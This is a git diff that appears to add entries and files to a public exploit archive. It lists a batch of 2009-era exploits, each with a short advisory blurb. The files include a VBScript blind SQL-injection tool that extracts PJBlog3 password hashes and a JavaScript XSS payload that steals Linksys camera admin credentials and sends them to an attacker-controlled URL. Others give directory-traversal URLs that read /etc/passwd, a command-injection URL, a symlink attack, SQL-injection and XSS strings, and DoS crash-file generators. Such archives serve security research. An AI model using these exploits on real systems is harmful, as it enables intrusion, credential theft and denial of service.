diff --git a/files.csv b/files.csv
index c7b4d7a46..7aa6af463 100755
--- a/files.csv
+++ b/files.csv
@@ -29692,3 +29692,17 @@ id,file,description,date,author,platform,type,port
 32941,platforms/php/webapps/32941.txt,"PTCeffect 4.6 - LFI & SQL Injection Vulnerabilities",2014-04-19,"walid naceri",php,webapps,0
 32942,platforms/linux/remote/32942.txt,"Mozilla Multiple Products Server Refresh Header XSS",2009-04-22,"Olli Pettay",linux,remote,0
 32943,platforms/hardware/webapps/32943.txt,"Teracom Modem T2-B-Gawv1.4U10Y-BI - CSRF Vulnerability",2014-04-20,"Rakesh S",hardware,webapps,0
+32944,platforms/multiple/remote/32944.txt,"SAP cFolders Cross Site Scripting And HTML Injection Vulnerabilities",2009-04-21,"Digital Security Research Group",multiple,remote,0
+32946,platforms/freebsd/local/32946.c,"FreeBSD <= 7.1 libc Berkley DB Interface Uninitialized Memory Local Information Disclosure Vulnerability",2009-01-15,"Jaakko Heinonen",freebsd,local,0
+32947,platforms/linux/local/32947.txt,"DirectAdmin <= 1.33.3 '/CMD_DB' Backup Action Insecure Temporary File Creation Vulnerability",2009-04-22,anonymous,linux,local,0
+32948,platforms/php/webapps/32948.txt,"New5starRating 1.0 'admin/control_panel_sample.php' SQL Injection Vulnerability",2009-04-22,zer0day,php,webapps,0
+32949,platforms/multiple/dos/32949.txt,"Mani's Admin Plugin Remote Denial Of Service Vulnerability",2009-04-22,M4rt1n,multiple,dos,0
+32950,platforms/php/webapps/32950.txt,"Flat Calendar 1.1 'add.php' HTML Injection Vulnerability",2009-04-22,ZoRLu,php,webapps,0
+32951,platforms/novell/dos/32951.py,"Recover Data for Novell Netware 1.0 '.SAV' File Remote Denial of Service Vulnerability",2009-04-23,"AbdulAziz Hariri",novell,dos,0
+32952,platforms/php/webapps/32952.txt,"CS Whois Lookup 'ip' Parameter Remote Command Execution Vulnerability",2009-04-23,SirGod,php,webapps,0
+32953,platforms/asp/webapps/32953.vbs,"PuterJam\'s Blog PJBlog3 3.0.6 \'action.asp\' SQL Injection Vulnerability",2009-04-24,anonymous,asp,webapps,0
+32954,platforms/hardware/remote/32954.txt,"Linksys WVC54GCA 1.00R22/1.00R24 Wireless-G 'adm/file.cgi' Multiple Directory Traversal Vulnerabilities",2009-04-23,pagvac,hardware,remote,0
+32955,platforms/hardware/remote/32955.js,"Linksys WVC54GCA 1.00R22/1.00R24 Wireless-G Multiple Cross Site Scripting Vulnerabilities",2009-04-25,pagvac,hardware,remote,0
+32956,platforms/windows/dos/32956.py,"RealNetworks RealPlayer Gold 10.0 MP3 File Handling Remote Denial of Service Vulnerability",2009-04-27,"Abdul-Aziz Hariri",windows,dos,0
+32957,platforms/windows/remote/32957.txt,"DWebPro 6.8.26 Directory Traversal Vulnerability and Arbitrary File Disclosure Vulnerability",2009-04-27,"Alfons Luja",windows,remote,0
+32958,platforms/php/webapps/32958.txt,"MataChat 'input.php' Multiple Cross Site Scripting Vulnerabilities",2009-04-27,Am!r,php,webapps,0
diff --git a/platforms/asp/webapps/32953.vbs b/platforms/asp/webapps/32953.vbs
new file mode 100755
index 000000000..98736cedc
--- /dev/null
+++ b/platforms/asp/webapps/32953.vbs
@@ -0,0 +1,81 @@
+source: http://www.securityfocus.com/bid/34701/info
+
+PJBlog3 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+If WScript.Arguments.Count <> 2 Then
+        WScript.Echo "Usage: Cscript.exe Exp.vbs ........ ......."
+        WScript.Echo "Example: Cscript.exe Exp.vbs http://www.pjhome.net puterjam"
+        WScript.Quit
+End If
+
+attackUrl = WScript.Arguments(0)
+attackUser = WScript.Arguments(1)
+attackUrl = Replace(attackUrl,"\","/")
+If Right(attackUrl , 1) <> "/" Then
+        attackUrl = attackUrl & "/"
+End If
+SHA1Charset = "0123456789ABCDEFJ"
+strHoleUrl = attackUrl & "action.asp?action=checkAlias&cname=0kee"""
+
+If IsSuccess(strHoleUrl & "or ""1""=""1") And Not IsSuccess(strHoleUrl & "and ""1""=""2") Then
+        WScript.Echo "......."
+Else
+        WScript.Echo "......."
+        WScript.Quit
+End If
+
+For n=1 To 40
+        For i=1 To 17
+                strInject = strHoleUrl & " Or 0<(Select Count(*) From blog_member Where mem_name='" & attackUser & "' And mem_password>='" & strResult & Mid(SHA1Charset, i, 1) & "') And ""1""=""1"
+                If Not IsSuccess(strInject) Then
+                        strResult = strResult & Mid(SHA1Charset, i-1, 1)
+                        Exit For
+                End If
+                strPrint = chr(13) & "Password(SHA1): " & strResult & Mid(SHA1Charset, i, 1)
+                WScript.StdOut.Write strPrint
+        Next
+Next
+WScript.Echo Chr(13) & Chr (10) & "Done!"
+
+Function PostData(PostUrl)
+	Dim Http
+	Set Http = CreateObject("msxml2.serverXMLHTTP")
+	With Http
+		.Open "GET",PostUrl,False
+		.Send ()
+		PostData = .ResponseBody
+	End With
+	Set Http = Nothing
+	PostData =bytes2BSTR(PostData)
+End Function
+
+Function bytes2BSTR(vIn)
+	Dim strReturn
+	Dim I, ThisCharCode, NextCharCode
+	strReturn = ""
+	For I = 1 To LenB(vIn)
+		ThisCharCode = AscB(MidB(vIn, I, 1))
+		If ThisCharCode < &H80 Then
+			strReturn = strReturn & Chr(ThisCharCode)
+		Else
+			NextCharCode = AscB(MidB(vIn, I + 1, 1))
+			strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
+			I = I + 1
+		End If
+	Next
+	bytes2BSTR = strReturn
+End Function
+
+Function IsSuccess(PostUrl)
+
+strData = PostData(PostUrl)
+'Wscript.Echo strData
+if InStr(strData,"check_error") >0 then
+        IsSuccess = True
+Else
+        IsSuccess = False
+End If
+'Wscript.Sleep 500 '.......
+End Function
diff --git a/platforms/freebsd/local/32946.c b/platforms/freebsd/local/32946.c
new file mode 100755
index 000000000..4d2c62104
--- /dev/null
+++ b/platforms/freebsd/local/32946.c
@@ -0,0 +1,44 @@
+source: http://www.securityfocus.com/bid/34666/info
+
+FreeBSD is prone to a local information-disclosure vulnerability.
+
+Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.
+
+#include <sys/types.h>
+
+#include <db.h>
+#include <err.h>
+#include <fcntl.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int
+main()
+{
+	const char data[] = "abcd";
+	DB *db;
+	DBT dbt;
+
+	/*
+	 * Set _malloc_options to "J" so that all memory obtained from
+	 * malloc(3) is iniatialized to 0x5a. See malloc(3) manual page
+	 * for additional information.
+	 */
+	_malloc_options = "J";
+
+	db = dbopen("test.db", O_RDWR | O_CREAT | O_TRUNC, 0644, DB_HASH, NULL);
+	if (db == NULL)
+		err(1, "dbopen()");
+
+	dbt.data = &data;
+	dbt.size = sizeof(data);
+
+	if (db->put(db, &dbt, &dbt, 0) != 0)
+		err(1, "db->put()");
+
+	db->close(db);
+
+	return (0);
+}
diff --git a/platforms/hardware/remote/32954.txt b/platforms/hardware/remote/32954.txt
new file mode 100755
index 000000000..d9ab4120b
--- /dev/null
+++ b/platforms/hardware/remote/32954.txt
@@ -0,0 +1,12 @@
+source: http://www.securityfocus.com/bid/34713/info
+
+Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera is prone to multiple directory-traversal vulnerabilities because the software fails to sufficiently sanitize user-supplied input.
+
+An attacker can exploit these issues using directory-traversal strings ('../') to download arbitrary files with the privileges of the server process. Information obtained may aid in further attacks.
+
+Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera firmware 1.00R22 and 1.00R24 are affected; other versions may also be vulnerable. 
+
+http://www.example.com/adm/file.cgi?next_file=%2fetc%2fpasswd
+http://www.example.com/adm/file.cgi?next_file=%2fetc/passwd
+http://www.example.com/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd
+http://www.example.com/adm/file.cgi?todo=pwnage&this_file=/etc/passwd 
\ No newline at end of file
diff --git a/platforms/hardware/remote/32955.js b/platforms/hardware/remote/32955.js
new file mode 100755
index 000000000..176b9721e
--- /dev/null
+++ b/platforms/hardware/remote/32955.js
@@ -0,0 +1,78 @@
+source: http://www.securityfocus.com/bid/34714/info
+
+Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera firmware 1.00R22 and 1.00R24 are affected; other versions may also be vulnerable. 
+
+http://www.example.com/adm/file.cgi?todo=xss&this_file=%3cscript%3ealert(1)%3c/script%3e
+http://www.example.com/adm/file.cgi?next_file=%3Cscript%3Ealert(1)%3C/script%3E
+http://www.example.com/img/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E
+http://www.example.com/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E
+
+
+// evil.js : malicious JS file, typically located on attacker&#039;s site
+// payload description: steals Linksys WVC54GCA admin password via XSS
+// tested on FF3 and IE7
+// based on code from developer.apple.com
+function loadXMLDoc(url) {
+	req = false;
+    	// branch for native XMLHttpRequest object
+    	if(window.XMLHttpRequest && !(window.ActiveXObject)) {
+    		try {	
+			req = new XMLHttpRequest();
+        	} 
+		catch(e) {
+			req = false;
+        	}
+    	} 
+    	// branch for IE/Windows ActiveX version	
+	else if(window.ActiveXObject) {
+       		try { 
+        		req = new ActiveXObject("Msxml2.XMLHTTP");
+      		} 
+		catch(e)  {
+        		try {
+          			req = new ActiveXObject("Microsoft.XMLHTTP");
+        		} 
+			catch(e) {
+          			req = false;
+        		}
+		}
+    	}
+	if(req) {
+		req.onreadystatechange = processReqChange;
+		req.open("GET", url, true);
+		req.send("");
+	}
+}
+// end of loadXMLDoc(url)
+
+function processReqChange() {
+   	// only if req shows "loaded"
+    	if (req.readyState == 4) {
+        	// only if "OK"
+        	if (req.status == 200) { 
+			var bits=req.responseText.split(/\"/);	
+			var gems="";
+			// dirty credentials-scraping code
+			for (i=0;i<bits.length;++i) { 
+                                if(bits[i]=="adm" && bits[i+1]==" value=") {      
+                               		gems+="login="; 
+					gems+=bits[i+2];
+                                }
+                                if(bits[i]=="admpw" && bits[i+1]==" value=") {      
+                                       	gems+=&#039;&password=&#039;; 
+					gems+=bits[i+2];    
+                                }
+			}
+			alert(gems); // this line is for demo purposes only and would be removed in a real attack
+			c=new Image();
+			c.src=&#039;http://www.example.com/x.php?&#039;+gems; // URL should point to data-theft script on attacker&#039;s site
+        	} 
+    	}
+}
+
+var url="/adm/file.cgi?next_file=pass_wd.htm";
+loadXMLDoc(url);
diff --git a/platforms/linux/local/32947.txt b/platforms/linux/local/32947.txt
new file mode 100755
index 000000000..2648f8226
--- /dev/null
+++ b/platforms/linux/local/32947.txt
@@ -0,0 +1,15 @@
+source: http://www.securityfocus.com/bid/34676/info
+
+DirectAdmin creates temporary files in an insecure manner.
+
+An attacker with local access could potentially exploit this issue to perform symbolic link attacks to overwrite arbitrary attacker-specified files. This could facilitate a complete compromise of the affected computer.
+
+Versions prior to DirectAdmin 1.33.4 are vulnerable. 
+
+On server: $ ln -s /etc/poc /home/tmp/database_name.gz
+On client: $ curl http://www.example.com:2222/CMD_DB/database_name.gz
+On server:
+$ ls -la /etc/poc
+-rw-r--r-- 1 root root 514 Apr 22 09:05 /etc/poc
+$ zcat /etc/poc | head -1
+-- MySQL dump 10.9 
\ No newline at end of file
diff --git a/platforms/multiple/dos/32949.txt b/platforms/multiple/dos/32949.txt
new file mode 100755
index 000000000..5380b1aea
--- /dev/null
+++ b/platforms/multiple/dos/32949.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/34685/info
+
+Mani's Admin Plugin is prone to a remote denial-of-service vulnerability.
+
+Exploiting this issue allows remote attackers to crash the application, denying further service to legitimate users.
+
+alias aspam "admin;admin;admin;admin;admin;admin;admin;timeleft;timeleft;timeleft"
+alias bspam "aspam;aspam;aspam;aspam;aspam"
+bind i "bspam; bspam; bspam" 
\ No newline at end of file
diff --git a/platforms/multiple/remote/32944.txt b/platforms/multiple/remote/32944.txt
new file mode 100755
index 000000000..1357514ac
--- /dev/null
+++ b/platforms/multiple/remote/32944.txt
@@ -0,0 +1,13 @@
+source: http://www.securityfocus.com/bid/34658/info
+
+SAP cFolders is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+
+Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. 
+
+
+The following example URIs are available:
+
+https://www.example.com/sap/bc/bsp/sap/cfx_rfc_ui/col_table_filter.htm?p_current_role=aaaaaaaa<IMG/SRC=JaVaScRiPt:alert('DSECRG')>
+
+https://www.example.com/sap/bc/bsp/sap/cfx_rfc_ui/me_ov.htm?p_current_role= aaaaaaaa<IMG/SRC=JaVaScRiPt:alert('DSECRG')>
+
diff --git a/platforms/novell/dos/32951.py b/platforms/novell/dos/32951.py
new file mode 100755
index 000000000..b129a713b
--- /dev/null
+++ b/platforms/novell/dos/32951.py
@@ -0,0 +1,54 @@
+source: http://www.securityfocus.com/bid/34693/info
+
+Recover Data for Novell Netware is prone to a remote denial-of-service vulnerability.
+
+Successfully exploiting this issue will cause the application to crash, denying service to legitimate users. Attackers may also be able to run arbitrary code, but this has not been confirmed.
+
+Recover Data for Novell Netware 1.0 is vulnerable; other versions may also be affected. 
+
+#!/usr/bin/python
+
+import sys,os
+
+#Novell Data Recovery Software.SAV DoS PoC by AbdulAziz Hariri -ahariri@insight-tech.org
+#Insight Technologies - http://www.insight-tech.org
+
+SAV_file =("\x52\x65\x63\x6F\x76\x65\x72\x20\x44\x61\x74\x61\x20\x66\x6F\x72\x20\x4E\x6F\x76\x65"+
+"\x6C\x6C\x20\x4E\x65\x74\x77\x61\x72\x65\x20\x31\x2E\x30\x0F\x00\x00\x00\x48\x54\x53\x35\x34\x31\x30\x38\x30\x47\x39"+
+"\x41\x54\x30\x30\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x1B"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00")
+
+try:
+  f = open("foo.SAV","w")
+  try:
+    f.write(SAV_file)
+  finally:
+    f.close()
+except IOError:
+  pass
+
+print "[x] Try loading foo.SAV in Novell Data Recovery Software"
diff --git a/platforms/php/webapps/32948.txt b/platforms/php/webapps/32948.txt
new file mode 100755
index 000000000..eea8a0842
--- /dev/null
+++ b/platforms/php/webapps/32948.txt
@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/34680/info
+
+New5starRating is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+New5starRating 1.0 is vulnerable; other versions may also be affected. 
+
+Supplying the following to the vulnerable script is sufficient to exploit this issue:
+
+Username : admin 'or' 1=1 
\ No newline at end of file
diff --git a/platforms/php/webapps/32950.txt b/platforms/php/webapps/32950.txt
new file mode 100755
index 000000000..6f0ed52a6
--- /dev/null
+++ b/platforms/php/webapps/32950.txt
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/34688/info
+
+Flat Calendar is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
+
+"><script>alert("ZoRLu")</script> 
\ No newline at end of file
diff --git a/platforms/php/webapps/32952.txt b/platforms/php/webapps/32952.txt
new file mode 100755
index 000000000..1d08dc64c
--- /dev/null
+++ b/platforms/php/webapps/32952.txt
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/34700/info
+
+CS Whois Lookup is prone to a remote command-execution vulnerability because the software fails to adequately sanitize user-supplied input.
+
+Successful attacks can compromise the affected software and possibly the computer. 
+
+http://www.example.com/path/index.php?ip=||whoami 
\ No newline at end of file
diff --git a/platforms/php/webapps/32958.txt b/platforms/php/webapps/32958.txt
new file mode 100755
index 000000000..c037ee303
--- /dev/null
+++ b/platforms/php/webapps/32958.txt
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/34722/info
+
+MataChat is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials. 
+
+http://www.example.com/[path]/input.php?nickname=[XSS]&color=[XSS] 
\ No newline at end of file
diff --git a/platforms/windows/dos/32956.py b/platforms/windows/dos/32956.py
new file mode 100755
index 000000000..fa1ff2389
--- /dev/null
+++ b/platforms/windows/dos/32956.py
@@ -0,0 +1,33 @@
+source: http://www.securityfocus.com/bid/34719/info
+
+RealNetworks RealPlayer is prone to a remote denial-of-service vulnerability because the application fails to handle specially crafted files.
+
+Exploiting this issue allows remote attackers to crash the application, denying further service to legitimate users.
+
+RealPlayer 10 Gold is vulnerable; other versions may also be affected. 
+
+#!/usr/bin/python
+
+import sys,os
+
+#RealPlayer MP3 DoS PoC by AbdulAziz Hariri - ahariri@insight-tech.org
+
+mp3_file = 
+("\x49\x44\x33\x00\x00\x00\x00\x00\x09\x07\x41\x41\x41\x41\x00\x00\x00\x08\x00\x00\x00"+
+"\x50\x69\x73\x74\x65\x20\x35\x54\x50\x45\x31\x00\x00\x00\x05\x00\x00\x00\x41\x6e"+
+"\x69\x73\x54\x41\x4c\x42\x00\x00\x00\x0d\x00\x00\x00\x41\x41\x41\x41"+
+"\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
++ "\x41"*2000)
+
+try:
+f = open("foo.mp3","w")
+try:
+f.write(mp3_file)
+finally:
+f.close()
+except IOError:
+pass
+
+print "[x] Try loading foo.mp3"
+
diff --git a/platforms/windows/remote/32957.txt b/platforms/windows/remote/32957.txt
new file mode 100755
index 000000000..c922941b0
--- /dev/null
+++ b/platforms/windows/remote/32957.txt
@@ -0,0 +1,12 @@
+source: http://www.securityfocus.com/bid/34721/info
+
+DWebPro is prone to a directory-traversal vulnerability and a vulnerability that allows attackers to view arbitrary files.
+
+An attacker can exploit these issues to obtain sensitive information that may lead to other attacks.
+
+DWebPro 6.8.26 is vulnerable; other versions may also be affected. 
+
+http://www.example.com:8080/..%5C/www/..%5C/www/..%5C/..%5C/..%5C/WINDOWS/
+http://www.example.com:8080/..%2f..%2f..%2fWINDOWS%2f
+http://www.example.com:8080/..\/www/500-100-js.asp::$DATA
+http://www.example.com:8080/demos/aspclassic/asp_registry.asp::$DATA 
\ No newline at end of file